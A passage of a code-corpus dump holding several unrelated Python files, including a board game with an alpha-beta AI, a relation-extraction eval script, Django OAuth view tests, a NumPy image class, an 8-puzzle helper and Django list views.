< 12:\r\n\t\t#4 number of 2pc configurations, difference\r\n\t\th4 = count2(g, p)\r\n\t\treturn h1 * 26 + h2 * 1 + h3 * 9 + h4 * 10\r\n\telse:\r\n\t\t#5 winning position\r\n\t\th5 = checkWin(g, p)\r\n\t\treturn h1 * 43 + h2 * 10 + h3 * 11 + h5 * 1086\r\n\r\n#gets all possible children positions from a given board position for the current player\t\t\r\ndef getChildren(g, p, moves):\r\n\tchildren = []\r\n\topponent = changeturn(p)\r\n\tif moves < 12:\r\n\t\tfor v in range(16):\r\n\t\t\tif g[v] == 0:\r\n\t\t\t\ttmp = g[:]\r\n\t\t\t\ttmp[v] = p\r\n\t\t\t\tif stringcheck(tmp, v, p):\r\n\t\t\t\t\tfor t in getpieces(tmp, opponent):\r\n\t\t\t\t\t\tif checkvalidremoval(tmp, t , p):\r\n\t\t\t\t\t\t\ttmp[t] = 0\r\n\t\t\t\t\t\t\tchildren.append(tmp)\r\n\t\t\t\telse:\r\n\t\t\t\t\tchildren.append(tmp)\r\n\telse:\r\n\t\tfor v in getpieces(g, p):\r\n\t\t\tfor t in getvalidmoves(g, v):\r\n\t\t\t\ttmp = g[:]\r\n\t\t\t\ttmp[v] = 0\r\n\t\t\t\ttmp[t] = p\r\n\t\t\t\tif stringcheck(tmp, t, p):\r\n\t\t\t\t\tfor s in getpieces(tmp, opponent):\r\n\t\t\t\t\t\tif checkvalidremoval(tmp, s , p):\r\n\t\t\t\t\t\t\ttmp[s] = 0\r\n\t\t\t\t\t\t\tchildren.append(tmp)\r\n\t\t\t\telse:\r\n\t\t\t\t\tchildren.append(tmp)\r\n\t\t\t\t\t\r\n\treturn children\r\n\t\r\n#gets all possible children positions with the move from a given board position for the current player\r\ndef getChildrenMoves(g, p, moves):\r\n\tchildren = []\r\n\topponent = changeturn(p)\r\n\tif moves < 12:\r\n\t\tfor v in range(16):\r\n\t\t\tif g[v] == 0:\r\n\t\t\t\ttmp = g[:]\r\n\t\t\t\ttmp[v] = p\r\n\t\t\t\tif stringcheck(tmp, v, p):\r\n\t\t\t\t\tfor t in getpieces(tmp, opponent):\r\n\t\t\t\t\t\tif checkvalidremoval(tmp, t , p):\r\n\t\t\t\t\t\t\ttmp[t] = 0\r\n\t\t\t\t\t\t\tchildren.append([tmp,(v,t)])\r\n\t\t\t\telse:\r\n\t\t\t\t\tchildren.append([tmp,(v,)])\r\n\telse:\r\n\t\tfor v in getpieces(g, p):\r\n\t\t\tfor t in getvalidmoves(g, v):\r\n\t\t\t\ttmp = g[:]\r\n\t\t\t\ttmp[v] = 0\r\n\t\t\t\ttmp[t] = p\r\n\t\t\t\tif stringcheck(tmp, t, p):\r\n\t\t\t\t\tfor s in getpieces(tmp, opponent):\r\n\t\t\t\t\t\tif checkvalidremoval(tmp, s , p):\r\n\t\t\t\t\t\t\ttmp[s] = 0\r\n\t\t\t\t\t\t\tchildren.append([tmp,(v,t,s)])\r\n\t\t\t\telse:\r\n\t\t\t\t\tchildren.append([tmp,(v,t)])\r\n\treturn children\r\n\r\n#alpha beta search tree for the ai player to calculate the best move option\t\r\ndef alphabeta(node, depth, alpha, beta, maxPlayer, moves, p, isFirst):\r\n\tif depth == 0 or (checkWin(node, p) != 0 and moves >= 12):\r\n\t\treturn getHeuristic(node, p, moves)\r\n\tif maxPlayer:\r\n\t\tif isFirst:\r\n\t\t\tvalue = NEGINF\r\n\t\t\tbestMove = 0\r\n\t\t\tfor c in getChildrenMoves(node, p, moves):\r\n\t\t\t\ttmpValue = alphabeta(c[0], depth - 1, alpha, beta, False, moves+1, p, False)\r\n\t\t\t\tif tmpValue > value:\r\n\t\t\t\t\tvalue = tmpValue\r\n\t\t\t\t\tbestMove = c[1]\r\n\t\t\t\talpha = max(alpha, value)\r\n\t\t\t\tif alpha >= beta:\r\n\t\t\t\t\tbreak \r\n\t\t\treturn bestMove\r\n\t\telse:\r\n\t\t\tvalue = NEGINF\r\n\t\t\tfor c in getChildren(node, p, moves):\r\n\t\t\t\tvalue = max(value, alphabeta(c, depth - 1, alpha, beta, False, moves+1, p, False))\r\n\t\t\t\talpha = max(alpha, value)\r\n\t\t\t\tif alpha >= beta:\r\n\t\t\t\t\tbreak \r\n\t\t\treturn value\r\n\telse:\r\n\t\topponent = changeturn(p)\r\n\t\tvalue = INF\r\n\t\tfor c in getChildren(node, opponent, moves):\r\n\t\t\tvalue = min(value, alphabeta(c, depth - 1, alpha, beta, True, moves+1, p, False))\r\n\t\t\tbeta = min(beta, value)\r\n\t\t\tif alpha >= beta:\r\n\t\t\t\tbreak\r\n\t\treturn value\r\n\t\r\n#main function the program runs from\t\r\ndef main():\t\r\n\tgameboard = [0] * 16\r\n\tplayer,ai = 0,0\r\n\tcur_player = 1\r\n\tmoves = 0\r\n\tstatus = ''\r\n\t\t\r\n\tprintheader()\r\n\t\r\n\twhile True:\r\n\t\tdata = input('Do you want to play as first(X) or second(O) player? ')\r\n\t\tif data.lower() == 'x':\r\n\t\t\tplayer,ai = 1,2\r\n\t\t\tbreak\r\n\t\telif data.lower() == 'o':\r\n\t\t\tplayer,ai = 2,1\r\n\t\t\tbreak\r\n\t\telse:\r\n\t\t\tprint(\"Invalid input, please enter either X to go first, or O to go second.\")\r\n\t\r\n\twhile True:\r\n\t\trefresh(gameboard)\r\n\t\tprintphase(moves)\r\n\t\t\t\r\n\t\tif (moves < 12): #setup phase\r\n\t\t\tif cur_player == player: #player\r\n\t\t\t\twhile True:\r\n\t\t\t\t\tidx = movetoindex(input('Please make a move (eg: a3): '))\r\n\t\t\t\t\tif idx != None:\r\n\t\t\t\t\t\tif (gameboard[idx] == 0):\r\n\t\t\t\t\t\t\tgameboard[idx] = player\r\n\t\t\t\t\t\t\tmoves += 1\r\n\t\t\t\t\t\t\tstatus = 'You have played at {}\\n'.format(indextomove(idx))\r\n\t\t\t\t\t\t\tif stringcheck(gameboard, idx, player):\r\n\t\t\t\t\t\t\t\trefresh(gameboard)\r\n\t\t\t\t\t\t\t\twhile True:\r\n\t\t\t\t\t\t\t\t\tprint('You have made a string and can remove one of your opponent\\'s pieces\\nNote: you cannot remove a piece that is part of a string unless no other piece is available\\n')\r\n\t\t\t\t\t\t\t\t\tidx = movetoindex(input('Please select a piece to remove: '))\r\n\t\t\t\t\t\t\t\t\tif idx != None:\r\n\t\t\t\t\t\t\t\t\t\tif gameboard[idx] == ai and checkvalidremoval(gameboard, idx, player):\r\n\t\t\t\t\t\t\t\t\t\t\tstatus += 'You have removed one of your opponent\\'s pieces at {}\\n'.format(indextomove(idx))\r\n\t\t\t\t\t\t\t\t\t\t\tgameboard[idx] = 0\r\n\t\t\t\t\t\t\t\t\t\t\tbreak\r\n\t\t\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\t\t\tprint('Invalid removal, please try again\\n')\r\n\t\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\t\tprint('Invalid removal, please try again\\n')\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tbreak\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tprint('Invalid move, please try again\\n')\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tprint('Invalid move, please try again\\n')\r\n\t\t\telse:\r\n\t\t\t\tprint('The AI is thinking...\\n')\r\n\t\t\t\tfind_move = alphabeta(gameboard, DEPTH_LIMIT, NEGINF, INF, True, moves, ai, True)\r\n\t\t\t\tprint(find_move)\r\n\t\t\t\tmoves += 1\r\n\t\t\t\tif len(find_move) == 1:\r\n\t\t\t\t\tgameboard[find_move[0]] = ai\r\n\t\t\t\t\tstatus = 'The AI has played at {}\\n'.format(indextomove(find_move[0]))\r\n\t\t\t\telif len(find_move) == 2:\r\n\t\t\t\t\tgameboard[find_move[0]] = ai\r\n\t\t\t\t\tgameboard[find_move[1]] = 0\r\n\t\t\t\t\tstatus = 'The AI has played at {}\\n'.format(indextomove(find_move[0]))\r\n\t\t\t\t\tstatus += 'The AI has made a string and removed your piece at {}\\n'.format(indextomove(find_move[1]))\r\n\t\t\t\t#while True: #random AI\r\n\t\t\t\t#\tidx = random.randint(0,15)\t\t\t\t\t\r\n\t\t\t\t#\tif (gameboard[idx] == 0):\r\n\t\t\t\t#\t\tgameboard[idx] = ai\r\n\t\t\t\t#\t\tmoves += 1\r\n\t\t\t\t#\t\tstatus = 'The AI has played at {}\\n'.format(indextomove(idx))\r\n\t\t\t\t#\t\tif stringcheck(gameboard, idx, ai):\r\n\t\t\t\t#\t\t\twhile True:\r\n\t\t\t\t#\t\t\t\tidx = random.randint(0,15)\t\t\t\t\t\t\t\t\r\n\t\t\t\t#\t\t\t\tif gameboard[idx] == player and checkvalidremoval(gameboard, idx, ai):\r\n\t\t\t\t#\t\t\t\t\tstatus += 'The AI has made a string and removed your piece at {}\\n'.format(indextomove(idx))\r\n\t\t\t\t#\t\t\t\t\tgameboard[idx] = 0\r\n\t\t\t\t#\t\t\t\t\tbreak\r\n\t\t\t\t#\t\tbreak\r\n\t\telse: #regular phase\r\n\t\t\tif cur_player == player:\t\t\t\r\n\t\t\t\twhile True:\r\n\t\t\t\t\tidx = movetoindex(input('Please select a piece to move (eg: a3): '))\r\n\t\t\t\t\tif idx != None:\r\n\t\t\t\t\t\tlistofmoves = getvalidmoves(gameboard,idx)\r\n\t\t\t\t\t\tif gameboard[idx] == player and listofmoves:\r\n\t\t\t\t\t\t\tloc = movetoindex(input('Please select an open location to move to (eg: a5): '))\r\n\t\t\t\t\t\t\tif loc in listofmoves:\r\n\t\t\t\t\t\t\t\tgameboard[idx] = 0\r\n\t\t\t\t\t\t\t\tgameboard[loc] = player\r\n\t\t\t\t\t\t\t\tstatus = 'You have moved your piece from {} to {}\\n'.format(indextomove(idx),indextomove(loc))\r\n\t\t\t\t\t\t\t\tif stringcheck(gameboard, loc, player):\r\n\t\t\t\t\t\t\t\t\trefresh(gameboard)\r\n\t\t\t\t\t\t\t\t\twhile True:\r\n\t\t\t\t\t\t\t\t\t\tprint('You have made a string and can remove one of your opponent\\'s pieces\\nNote: you cannot remove a piece that is part of a string unless no other piece is available\\n')\r\n\t\t\t\t\t\t\t\t\t\tidx = movetoindex(input('Please select an opponents piece to remove: '))\r\n\t\t\t\t\t\t\t\t\t\tif idx != None:\r\n\t\t\t\t\t\t\t\t\t\t\tif gameboard[idx] == ai and checkvalidremoval(gameboard, idx, player):\r\n\t\t\t\t\t\t\t\t\t\t\t\tstatus += 'You have removed one of your opponent\\'s pieces at {}\\n'.format(indextomove(idx))\r\n\t\t\t\t\t\t\t\t\t\t\t\tgameboard[idx] = 0\r\n\t\t\t\t\t\t\t\t\t\t\t\tbreak\r\n\t\t\t\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\t\t\t\tprint('Invalid removal, please try again\\n')\r\n\t\t\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\t\t\tprint('Invalid removal, please try again\\n')\r\n\t\t\t\t\t\t\t\tmoves += 1\r\n\t\t\t\t\t\t\t\tbreak\r\n\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\tprint('Invalid location to move to, please try again\\n')\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tprint('Did not select one of your pieces or had no valid moves, please try again\\n')\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tprint('Did not select one of your pieces or had no valid moves, please try again\\n')\r\n\t\t\t\r\n\t\t\telse:\r\n\t\t\t\tprint('The AI is thinking...\\n')\t\r\n\t\t\t\tfind_move = alphabeta(gameboard, DEPTH_LIMIT, NEGINF, INF, True, moves, ai, True)\r\n\t\t\t\tmoves += 1\r\n\t\t\t\tif len(find_move) == 2:\r\n\t\t\t\t\tgameboard[find_move[0]] = 0\r\n\t\t\t\t\tgameboard[find_move[1]] = ai\r\n\t\t\t\t\tstatus = 'The AI has moved a piece from {} to {}\\n'.format(indextomove(find_move[0]), indextomove(find_move[1]))\t\r\n\t\t\t\telif len(find_move) == 3:\r\n\t\t\t\t\tgameboard[find_move[0]] = 0\r\n\t\t\t\t\tgameboard[find_move[1]] = ai\r\n\t\t\t\t\tgameboard[find_move[2]] = 0\r\n\t\t\t\t\tstatus = 'The AI has moved a piece from {} to {}\\n'.format(indextomove(find_move[0]), indextomove(find_move[1]))\r\n\t\t\t\t\tstatus += 'The AI has made a string and removed your piece at {}\\n'.format(indextomove(find_move[2]))\r\n\t\t\t#\twhile True: #random AI\r\n\t\t\t#\t\tidx = random.randint(0,15)\t\t\t\t\t\r\n\t\t\t#\t\tif gameboard[idx] == ai:\r\n\t\t\t#\t\t\tlistofmoves = getvalidmoves(gameboard,idx)\r\n\t\t\t#\t\t\tif listofmoves:\r\n\t\t\t#\t\t\t\tloc = random.randint(0,len(listofmoves)-1)\r\n\t\t\t#\t\t\t\tstatus = 'The AI has moved a piece from {} to {}\\n'.format(indextomove(idx), indextomove(listofmoves[loc]))\t\t\t\t\t\t\t\r\n\t\t\t#\t\t\t\tgameboard[idx] = 0\r\n\t\t\t#\t\t\t\tgameboard[listofmoves[loc]] = ai\r\n\t\t\t#\t\t\t\tif stringcheck(gameboard, idx, ai):\r\n\t\t\t#\t\t\t\t\twhile True:\r\n\t\t\t#\t\t\t\t\t\tidx = random.randint(0,15)\r\n\t\t\t#\t\t\t\t\t\tif gameboard[idx] == player and checkvalidremoval(gameboard, idx, ai):\r\n\t\t\t#\t\t\t\t\t\t\tstatus += 'The AI has made a string and removed your piece at {}\\n'.format(indextomove(idx))\r\n\t\t\t#\t\t\t\t\t\t\tgameboard[idx] = 0\r\n\t\t\t#\t\t\t\t\t\t\tbreak\r\n\t\t\t#\t\t\t\tbreak\r\n\t\t\t\r\n\t\trefresh(gameboard)\t\t\t\r\n\t\tprint(status)\r\n\t\tinput('Press enter to continue')\r\n\t\t\r\n\t\tif moves >= 12:\t\t\r\n\t\t\tresult = checkpieces(gameboard)\r\n\t\t\t\r\n\t\t\tif result != 0:\r\n\t\t\t\tif player == result:\r\n\t\t\t\t\tprint('The AI wins! You only have 2 pieces left\\n')\r\n\t\t\t\telse:\r\n\t\t\t\t\tprint('You win! The AI only has 2 pieces left\\n')\r\n\t\t\t\tinput('Press enter to exit the game')\r\n\t\t\t\texit()\r\n\t\t\t\t\r\n\t\t\tresult = checkmoves(gameboard)\r\n\t\t\t\r\n\t\t\tif result != 0:\r\n\t\t\t\tif player == result:\r\n\t\t\t\t\tprint('The AI wins! You only have no valid moves left\\n')\r\n\t\t\t\telse:\r\n\t\t\t\t\tprint('You win! The AI has no valid moves left\\n')\r\n\t\t\t\tinput('Press enter to exit the game')\r\n\t\t\t\texit()\r\n\t\t\t\t\t\t\r\n\t\tcur_player = changeturn(cur_player)\r\n\r\nmain()","sub_path":"smm.py","file_name":"smm.py","file_ext":"py","file_size_in_byte":18242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"146999119","text":"import models\nimport nrekit\nimport sys\nimport torch\nfrom torch import optim\nfrom nrekit.data_loader import JSONFileDataLoader as DataLoader\nimport argparse\nimport numpy as np\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--shot', default=5, type=int, \n help='Number of seeds')\nparser.add_argument('--eval_iter', default=1000, type=int, \n help='Eval iteration')\n\n# snowball hyperparameter\nparser.add_argument(\"--phase1_add_num\", help=\"number of instances added in phase 1\", type=int, default=5)\nparser.add_argument(\"--phase2_add_num\", help=\"number of instances added in phase 2\", type=int, default=5)\nparser.add_argument(\"--phase1_siamese_th\", help=\"threshold of relation siamese network in phase 1\", type=float, default=0.5)\nparser.add_argument(\"--phase2_siamese_th\", help=\"threshold of relation siamese network in phase 2\", type=float, default=0.5)\nparser.add_argument(\"--phase2_cl_th\", help=\"threshold of relation classifier in phase 2\", type=float, default=0.9)\n\nparser.add_argument(\"--snowball_max_iter\", help=\"number of iterations of snowball\", type=int, default=5)\n\n# fine-tune hyperparameter\nparser.add_argument(\"--finetune_epoch\", help=\"num of epochs when finetune\", type=int, default=50)\nparser.add_argument(\"--finetune_batch_size\", help=\"batch size when finetune\", type=int, default=10)\nparser.add_argument(\"--finetune_lr\", help=\"learning rate when finetune\", type=float, default=0.05)\nparser.add_argument(\"--finetune_wd\", help=\"weight decay rate when finetune\", type=float, default=1e-5)\nparser.add_argument(\"--finetune_weight\", help=\"loss weight of negative samples\", type=float, default=0.2)\n\n# inference batch_size\nparser.add_argument(\"--infer_batch_size\", help=\"batch size when inference\", type=int, default=0)\n\n# print\nparser.add_argument(\"--print_debug\", help=\"print debug information\", action=\"store_true\")\nparser.add_argument(\"--eval\", help=\"eval during snowball\", action=\"store_true\")\n\nargs = parser.parse_args()\n\nmax_length = 40\ntrain_train_data_loader = DataLoader('./data/train_train.json', './data/glove.6B.50d.json', max_length=max_length)\ntrain_val_data_loader = DataLoader('./data/train_val.json', './data/glove.6B.50d.json', max_length=max_length)\nval_data_loader = DataLoader('./data/val.json', './data/glove.6B.50d.json', max_length=max_length)\ntest_data_loader = DataLoader('./data/val.json', './data/glove.6B.50d.json', max_length=max_length)\ndistant = DataLoader('./data/distant.json', './data/glove.6B.50d.json', max_length=max_length, distant=True)\n\nframework = nrekit.framework.Framework(train_val_data_loader, val_data_loader, test_data_loader, distant)\nsentence_encoder = nrekit.sentence_encoder.CNNSentenceEncoder(train_val_data_loader.word_vec_mat, max_length)\nsentence_encoder2 = nrekit.sentence_encoder.CNNSentenceEncoder(train_val_data_loader.word_vec_mat, max_length)\n\nmodel2 = models.snowball.Siamese(sentence_encoder2, hidden_size=230)\nmodel = models.snowball.Snowball(sentence_encoder, base_class=train_train_data_loader.rel_tot, siamese_model=model2, hidden_size=230, neg_loader=train_train_data_loader, args=args)\n\n# load pretrain\ncheckpoint = torch.load('./checkpoint/cnn_encoder_on_fewrel.pth.tar')['state_dict']\ncheckpoint2 = torch.load('./checkpoint/cnn_siamese_on_fewrel.pth.tar')['state_dict']\nfor key in checkpoint2:\n checkpoint['siamese_model.' + key] = checkpoint2[key]\nmodel.load_state_dict(checkpoint)\nmodel.cuda()\nmodel.train()\nmodel_name = 'cnn_snowball'\n\nres = framework.eval(model, support_size=args.shot, query_size=50, eval_iter=args.eval_iter)\nres_file = open('exp_cnn_{}shot.txt'.format(args.shot), 'a')\nres_file.write(res + '\\n')\nprint('\\n########## RESULT ##########')\nprint(res)\n","sub_path":"test_cnn_snowball.py","file_name":"test_cnn_snowball.py","file_ext":"py","file_size_in_byte":3694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"263664812","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\n\nimport logging\n\nfrom django.test import TestCase\nfrom mock import patch, Mock\nfrom django.contrib.auth.models import User\nfrom ..views import callback\nfrom ..models import OAuth\nfrom django.test import Client, override_settings\nfrom django.core.urlresolvers import reverse\nimport json\nimport urllib\n\nlogger = logging.getLogger(__name__)\n\n\n@override_settings(OAUTH_AUTHORIZATION_URL=\"http://remote.dev/authorize\")\nclass TestAuthViews(TestCase):\n\n def setUp(self):\n self.client = Client()\n\n @patch('eventkit_cloud.auth.views.login')\n @patch('eventkit_cloud.auth.views.fetch_user_from_token')\n @patch('eventkit_cloud.auth.views.request_access_token')\n def test_callback(self, mock_get_token, mock_get_user, mock_login):\n oauth_name = \"provider\"\n with self.settings(OAUTH_NAME=oauth_name):\n example_token = \"token\"\n request = Mock(GET={'code': \"1234\"})\n user = User.objects.create(username=\"test\",\n email=\"test@email.com\")\n OAuth.objects.create(user=user, identification=\"test_ident\", commonname=\"test_common\")\n mock_get_token.return_value = example_token\n mock_get_user.return_value = None\n response = callback(request)\n self.assertEqual(response.status_code, 401)\n\n mock_get_token.return_value = example_token\n mock_get_user.return_value = user\n callback(request)\n mock_login.assert_called_once_with(request, user, backend='django.contrib.auth.backends.ModelBackend')\n\n def test_oauth(self):\n # Test GET to ensure a provider name is returned for dynamically naming oauth login.\n oauth_name = \"provider\"\n client_id = \"name\"\n redirect_uri = \"http://test.dev/callback\"\n response_type = \"code\"\n scope = \"profile\"\n authorization_url = \"http://remote.dev/authorize\"\n\n with self.settings(OAUTH_NAME=oauth_name):\n response = self.client.get(reverse('oauth'),{'query':'name'})\n return_name = json.loads(response.content).get('name')\n self.assertEqual(return_name, oauth_name)\n self.assertEqual(response.status_code, 200)\n\n # Test post to ensure that a valid redirect is returned.\n with self.settings(OAUTH_CLIENT_ID=client_id,\n OAUTH_REDIRECT_URI=redirect_uri,\n OAUTH_RESPONSE_TYPE=response_type,\n OAUTH_SCOPE=scope):\n response = self.client.post(reverse('oauth'))\n params = urllib.urlencode((\n ('client_id', client_id),\n ('redirect_uri', redirect_uri),\n ('response_type', response_type),\n ('scope', scope),\n ))\n self.assertRedirects(response, '{url}?{params}'.format(url=authorization_url.rstrip('/'),\n params=params),\n fetch_redirect_response=False)\n\n\n def test_logout(self):\n # Test logout ensure logout of django, and redirect to login if OAUTH URL not provided\n logout_url = \"http://remote.dev/logout\"\n user = User.objects.create(username=\"test\", password=\"password\", email=\"test@email.com\")\n OAuth.objects.create(user=user, identification=\"test_ident\", commonname=\"test_common\")\n\n self.client.login(username='test', password='password')\n response = self.client.get(reverse('logout'), follow=True)\n self.assertRedirects(response, reverse('login'), fetch_redirect_response=False)\n\n # Test logout ensure logout of django and oauth if url is provided\n with self.settings(OAUTH_LOGOUT_URL=logout_url):\n self.client.login(username='test', password='password')\n response = self.client.get(reverse('logout'))\n self.assertRedirects(response, logout_url, fetch_redirect_response=False)\n\n\n","sub_path":"eventkit_cloud/auth/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":4038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"510410218","text":"import numpy as np\n\n#-------------------------------------------------------------------------- \n\nclass NumPymage:\n \n def __init__(self,nlin=0,ncol=0,valor=0):\n if type(valor) == np.ndarray:\n array = np.copy(valor)\n self.array = array\n self.data = array\n self.shape = array.shape\n else:\n array = np.full((nlin,ncol), valor)\n self.array = array\n self.data = array\n self.shape = array.shape\n \n \n def __str__(self):\n nlin,ncol = self.array.shape\n array = self.array\n \n s = \"\"\n for i in range(0,nlin):\n for j in range(0,ncol):\n if j == (ncol-1) and array[i,j] >= 10:\n s += \"{} \".format(array[i,j])\n if j != (ncol-1) and array[i][j] >= 10:\n s += \"{}, \".format(array[i,j])\n\n if j == (ncol-1) and array[i,j] < 10:\n s += \"{} \".format(array[i,j])\n\n if j!= (ncol-1) and array[i,j] < 10:\n s += \"{}, \".format(array[i,j])\n \n s += \"\\n\"\n return s\n \n def shape(self):\n return self.shape\n \n def __getitem__(self,key):\n array = self.array\n return array[key]\n \n def __setitem__(self,key,valor):\n array = self.array\n array[key] = valor\n \n def crop(self,left=0,top=0,right=0,bottom=0):\n if left == 0 and top == 0 and right == 0 and bottom == 0:\n nova = np.copy(self.array)\n else:\n nova = np.copy(self.array[top:bottom, left:right])\n return NumPymage(0,0,nova)\n \n def __add__(self,other):\n lin,col = self.array.shape\n nova = NumPymage(lin,col,0)\n if type(other) == np.ndarray or type(other) == NumPymage:\n nova = self.array + other.array\n \n else:\n nova = self.array*other\n \n return NumPymage(0,0,nova)\n \n def __mul__(self,other):\n lin,col = self.array.shape\n nova = np.zeros((lin,col))\n if type(other) == np.ndarray or type(other) == NumPymage:\n nova = self.array * other.array\n \n else:\n nova = self.array * other\n \n return NumPymage(0,0,nova)\n \n \n def paste(self, other, tlin, tcol):\n other_i, other_j = other.shape\n self_i, self_j = self.shape\n for i in range(0, other_i):\n for j in range(0, other_j):\n if self_i > i + tlin >= 0 and self_j > j + tcol >= 0:\n self.array[i + tlin, j + tcol] = other.array[i, j]\n \n \n def paste_rectangle(self,val,left, top, right, bottom):\n nova = NumPymage(bottom - top ,right - left,val)\n self.paste(nova,top,left)\n \n \n def paste_disc(self,val,raio,clin,ccol):\n lin,col = self.shape\n origem = (clin,ccol)\n for i in range(lin):\n for j in range(col):\n if (( (i -(origem[0]))**2 + (j -(origem[1]))**2)\n **(1/2)< raio):\n self.array[i,j] = val\n \n \n \n \n","sub_path":"NumpyMage.py","file_name":"NumpyMage.py","file_ext":"py","file_size_in_byte":3295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"459721224","text":"def getSuccessors(state):\n nodeList = []\n ind = state.index(0)\n dim = int(pow(len(state), 0.5))\n Ycoord = ind // dim\n Xcoord = ind % dim\n if (Ycoord > 0):\n stateUp = state.copy()\n stateUp[ind], stateUp[ind-dim] = stateUp[ind-dim], stateUp[ind]\n nodeList.append(stateUp)\n if (Ycoord < dim-1):\n stateDown = state.copy()\n stateDown[ind], stateDown[ind+dim] = stateDown[ind+dim], stateDown[ind]\n nodeList.append(stateDown)\n if (Xcoord > 0):\n stateLeft = state.copy()\n stateLeft[ind], stateLeft[ind-1] = stateLeft[ind-1], stateLeft[ind]\n nodeList.append(stateLeft)\n if (Xcoord < dim-1):\n stateRight = state.copy()\n stateRight[ind], stateRight[ind+1] = stateRight[ind+1], stateRight[ind]\n nodeList.append(stateRight)\n return(nodeList)\n","sub_path":"KM/Lab6/getSuccessors.py","file_name":"getSuccessors.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"430033836","text":"from flasgger import swag_from\nfrom flask import Blueprint, jsonify, g, current_app as app\n\nadmin = Blueprint(\"admin\", __name__, url_prefix=\"/admin\")\n\n\n@admin.route(\"/ping\")\n@swag_from(\"/api/docs/admin.yml\")\ndef ping():\n transaction_id = g.transaction_id\n app.logger.info(\"[PING] {}: got new request to ping app\".format(transaction_id))\n return jsonify(\"pong\"), 200\n","sub_path":"api/admin/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"41638484","text":"from django.views.generic import ListView as DjangoListView, View as DjangoView\nfrom django.views.generic.edit import FormMixin\nfrom django.http import Http404\nfrom django.http import JsonResponse\n\n\nclass ListView(DjangoListView, FormMixin):\n \"\"\"\n Render some list of objects, set by `self.model` or `self.queryset`.\n `self.queryset` can actually be any iterable of items, not just a queryset.\n \"\"\"\n paginate_by_kwarg = 'per-page'\n paginate_by_limit = None\n default_paginate_by = None\n\n def get(self, request, *args, **kwargs):\n form = self.get_form()\n self.object_list = self.get_queryset(form)\n allow_empty = self.get_allow_empty()\n\n if not allow_empty:\n # When pagination is enabled and object_list is a queryset,\n # it's better to do a cheap query than to load the unpaginated\n # queryset in memory.\n if self.get_paginate_by(self.object_list) is not None and hasattr(self.object_list, 'exists'):\n is_empty = not self.object_list.exists()\n else:\n is_empty = not self.object_list\n if is_empty:\n raise Http404(_('Empty list and “%(class_name)s.allow_empty” is False.') % {\n 'class_name': self.__class__.__name__,\n })\n context = self.get_context_data(form=form)\n return self.render_to_response(context)\n \n def get_form(self, form_class=None):\n \"\"\"Return an instance of the form to be used in this view.\"\"\"\n form = None\n if form_class is None:\n form_class = self.get_form_class()\n if form_class is not None:\n form = form_class(**self.get_form_kwargs())\n return form\n\n def get_form_kwargs(self):\n \"\"\"Return the keyword arguments for instantiating the form.\"\"\"\n kwargs = {\n 'initial': self.get_initial(),\n 'prefix': self.get_prefix(),\n }\n\n kwargs.update({\n 'data': self.request.GET,\n })\n return kwargs\n\n def get_paginate_by(self, queryset):\n if not self.paginate_by:\n if not self.paginate_by_limit:\n paginate_by = self.default_paginate_by\n else:\n paginate_by_kwarg = self.paginate_by_kwarg\n paginate_by = self.kwargs.get(paginate_by_kwarg) or self.request.GET.get(paginate_by_kwarg) or self.default_paginate_by\n\n self.set_paginate_by(paginate_by)\n return self.paginate_by\n\n def set_paginate_by(self, value):\n if value:\n value = int(value)\n if isinstance(self.paginate_by_limit, list) and len(self.paginate_by_limit) == 2:\n if value < self.paginate_by_limit[0]:\n value = self.paginate_by_limit[0]\n elif value > self.paginate_by_limit[1]:\n value = self.paginate_by_limit[1]\n self.paginate_by = value\n\n def get_queryset(self, form=None):\n return super().get_queryset()\n \n def paginate_queryset(self, queryset, page_size):\n \"\"\"Paginate the queryset, if needed.\"\"\"\n paginator = self.get_paginator(\n queryset, page_size, orphans=self.get_paginate_orphans(),\n allow_empty_first_page=self.get_allow_empty())\n page_kwarg = self.page_kwarg\n page = self.kwargs.get(page_kwarg) or self.request.GET.get(page_kwarg) or 1\n try:\n page_number = int(page)\n except ValueError:\n if page == 'last':\n page_number = paginator.num_pages\n else:\n raise Http404(_(\"Page is not 'last', nor can it be converted to an int.\"))\n page_number = page_number if page_number <= paginator.num_pages else paginator.num_pages \n try:\n page = paginator.page(page_number)\n return (paginator, page, page.object_list, page.has_other_pages())\n except InvalidPage as e:\n raise Http404(_('Invalid page (%(page_number)s): %(message)s') % {\n 'page_number': page_number,\n 'message': str(e)\n }) \n \n \nclass BulkActionView(DjangoView):\n \"\"\"\n BulkActionView\n \"\"\"\n def get(self, request, action, *args, **kwargs):\n if hasattr(self, '_' + action):\n return self.http_method_not_allowed(request, *args, **kwargs)\n else:\n raise Http404(_(\"Page not found\"))\n\n def post(self, request, action, *args, **kwargs):\n if hasattr(self, '_' + action):\n pks = request.POST.getlist('pks[]')\n if pks:\n action_function = getattr(self, '_' + action)\n action_function(pks)\n return JsonResponse({'success': True})\n else:\n raise Http404(_(\"Page not found\"))\n\n","sub_path":"sitech_views/list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":4851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} 